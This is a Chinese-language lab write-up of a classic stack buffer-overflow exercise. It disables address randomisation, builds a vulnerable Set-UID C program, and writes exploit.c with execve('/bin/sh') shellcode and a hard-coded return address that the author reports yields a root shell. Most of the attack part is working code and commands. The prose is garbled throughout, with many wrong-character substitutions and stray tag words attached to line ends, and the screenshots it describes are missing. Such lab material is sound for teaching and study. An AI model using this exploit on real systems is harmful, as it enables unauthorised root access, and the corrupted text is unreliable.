Ubuntu和其余一些Linux系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜想准确的内存地址变得十分困难,而猜想内存地址是缓冲区溢出攻击的关键。所以本次实验中,咱们使用如下命令关闭这一功能:linux
$sudo sysctl -w kernel.randomize_va_space=0
为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击,许多shell程序在被调用时自动放弃它们的特权。所以,即便你能欺骗一个Set-UID程序调用一个shell,也不能在这个shell中保持root权限,这个防御措施在/bin/bash中实现。shell
linux系统中,/bin/sh实际是指向/bin/bash或/bin/dash的一个符号连接。为了重现这一防御措施被实现以前的情形,咱们使用另外一个shell程序(zsh)代替/bin/bash。下面的指令描述了如何设置zsh程序:编程
$sudo su $cd /bin $rm sh $ln -s zsh sh $exit
通常状况下,缓冲区溢出会形成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而若是覆盖返回地址的数据是另外一个地址,那么程序就会跳转到该地址,若是该地址存放的是一段精心设计的代码用于实现其余功能,这段代码就是shellcode。观察如下代码:数组
#include <stdio.h> int main( ) { char *name[2]; name[0] = ‘‘/bin/sh’’; name[1] = NULL; execve(name[0], name, NULL); }
本次实验的shellcode,就是刚才代码的汇编版本:sass
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
int execve(const char * filename,char * const argv[ ],char * const envp[ ]);
bash
execve()用来执行参数filename字符串所表明的文件路径,第二个参数是利用指针数组来传递给执行文件,而且须要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。app
0x08048ea4 <+0>: push %ebp 0x08048ea5 <+1>: mov %esp,%ebp 0x08048ea7 <+3>: and $0xfffffff0,%esp 0x08048eaa <+6>: sub $0x20,%esp 0x08048ead <+9>: movl $0x80c8508,0x18(%esp) 0x08048eb5 <+17>: movl $0x0,0x1c(%esp) 0x08048ebd <+25>: mov 0x18(%esp),%eax 0x08048ec1 <+29>: movl $0x0,0x8(%esp) 0x08048ec9 <+37>: lea 0x18(%esp),%edx 0x08048ecd <+41>: mov %edx,0x4(%esp) 0x08048ed1 <+45>: mov %eax,(%esp) 0x08048ed4 <+48>: call 0x8053890 <execve> 0x08048ed9 <+53>: leave 0x08048eda <+54>: ret
从上面汇编程序能够看出:dom
execve(name[0],name,NULL);
触发了系统调用:函数
0x08048ed4 <+48>: call 0x8053890 <execve>
而execve系统调用的汇编程序:学习
0x08053891 <+1>: mov 0x10(%esp),%edx0x080555c0 0x08053895 <+5>: mov 0xc(%esp),%ecx 0x08053899 <+9>: mov 0x8(%esp),%ebx 0x0805389d <+13>: mov $0xb,%eax 0x080538a2 <+18>: call *0x80f55a8
继续追踪,查看0x80f55a8内容,(x /1xw0x80f55a8),发现内存地址是:0x080555c0;好的,继续查看0x080555c0里面的内容:(x /1i 0x080555c0)发现:
0x80555c0 <_dl_sysinfo_int80>: int $0x80
execve(name[0],name,NULL);就是调用了系统的80号中断,并且功能号是:eax=0xb;根据系统提供的中断号的知识:触发80号中断时,eax放功能号,eax,ebx,edx,esi,edi这五个寄存器依次存放提供的功能的参数;当调用参数>5时,功能号放eax,参数依次存入一块连续的内存区域,且ebx存放这段内存起始地址,返回值依然放到eax;
参考博客:https://blog.csdn.net/u010651541/article/details/49913029?utm_source=copy
把如下代码保存为“stack.c”文件,保存到 /tmp 目录下。代码以下:
/* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char *str) { char buffer[12]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str); printf("Returned Properly\n"); return 1; }
经过代码能够知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。
编译该程序,并设置SET-UID。命令以下:
$sudo su $gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c $chmod u+s stack $exit
GCC编译器有一种栈保护机制来阻止缓冲区溢出,因此咱们在编译代码时须要用 –fno-stack-protector 关闭这种机制。
而 -z execstack 用于容许执行栈。
咱们的目的是攻击刚才的漏洞程序,并经过攻击得到root权限。
把如下代码保存为“exploit.c”文件,保存到 /tmp 目录下。代码以下:
/* exploit.c */ /* A program that creates a file containing code for launching shell*/ #include <stdlib.h> #include <stdio.h> #include <string.h> char shellcode[]= "\x31\xc0" //xorl %eax,%eax "\x50" //pushl %eax "\x68""//sh" //pushl $0x68732f2f "\x68""/bin" //pushl $0x6e69622f "\x89\xe3" //movl %esp,%ebx "\x50" //pushl %eax "\x53" //pushl %ebx "\x89\xe1" //movl %esp,%ecx "\x99" //cdq "\xb0\x0b" //movb $0x0b,%al "\xcd\x80" //int $0x80 ; void main(int argc, char **argv) { char buffer[517]; FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */ memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */ strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); strcpy(buffer+100,shellcode); /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); }
注意上面的代码,“\x??\x??\x??\x??”处须要添上shellcode保存在内存中的地址,由于发生溢出后这个位置恰好能够覆盖返回地址。
而 strcpy(buffer+100,shellcode); 这一句又告诉咱们,shellcode保存在 buffer+100 的位置。
如今咱们要获得shellcode在内存中的地址,输入命令:
$gdb stack disass main
其中disass
命令用于查看汇编代码,运行结果截图以下:
进行断点操做,其中i r
命令用于查看寄存器地址:
根据语句 strcpy(buffer + 100,shellcode);
咱们计算 shellcode
的地址为 0xffffd060(十六进制) + 0x64(100的十六进制) = 0xffffd0c4(十六进制)
如今修改exploit.c文件!将 \x??\x??\x??\x?? 修改成 \xc4\xd0\xff\xff
(与实验楼示例结果有所不一样,可见须要本身实际操做,进行计算)
而后,编译exploit.c程序:
$gcc -m32 -o exploit exploit.c
先运行攻击程序exploit,再运行漏洞程序stack,观察结果:得到了root权限
提示段错误,说明地址计算错误,初始地址没法预估致使
依然可以得到root权限,说明该实验中的shell程序防范措施并不到位。
一、汇编知识掌握依然不是很熟练,只能跟着步骤作,本身写shellcode计算地址等存在困难,还须要再度复习汇编知识。
二、一些代码理解须要借助外界资料帮助,还须要进一步学习。
三、Linux系统了解不够深入,许多保护机制等知识须要累积,慢慢增加本身的知识储备量,加深对系统的理解。